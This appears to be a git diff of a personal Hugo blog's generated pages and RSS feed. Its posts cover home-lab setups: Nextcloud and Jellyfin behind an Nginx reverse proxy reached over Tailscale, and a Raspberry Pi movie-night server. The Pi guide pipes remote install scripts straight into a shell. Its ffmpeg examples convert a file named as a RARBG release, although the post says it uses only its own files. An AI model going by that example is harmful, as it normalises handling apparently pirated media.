    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    +
      +
    • TLS SNI (which cloud endpoints?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
      +
    • Ports in use (quick heat check)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    +

    Epilogue

    +

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/raspberry-pi/page/1/index.html b/public-clearnet/tags/raspberry-pi/page/1/index.html new file mode 100644 index 0000000..f8561a5 --- /dev/null +++ b/public-clearnet/tags/raspberry-pi/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/raspberry-pi/ + \ No newline at end of file diff --git a/public-clearnet/tags/raspberrypi/index.html b/public-clearnet/tags/raspberrypi/index.html new file mode 100644 index 0000000..0ba5557 --- /dev/null +++ b/public-clearnet/tags/raspberrypi/index.html @@ -0,0 +1,21 @@ +Raspberrypi | AlipourIm journeys +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    February 2, 2026 · 6 min · Iman Alipour +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

    December 21, 2025 · 9 min · Iman Alipour +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/raspberrypi/index.xml b/public-clearnet/tags/raspberrypi/index.xml new file mode 100644 index 0000000..c4d6139 --- /dev/null +++ b/public-clearnet/tags/raspberrypi/index.xml @@ -0,0 +1,847 @@ +Raspberrypi on AlipourIm journeyshttps://blog.alipour.eu/tags/raspberrypi/Recent content in Raspberrypi on AlipourIm journeysHugo -- 0.146.0enMon, 02 Feb 2026 00:00:00 +0000Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfinhttps://blog.alipour.eu/posts/pi_service_touchup/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/posts/pi_service_touchup/Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4https://blog.alipour.eu/posts/boredom/Sun, 21 Dec 2025 09:30:00 +0100https://blog.alipour.eu/posts/boredom/A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later.Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
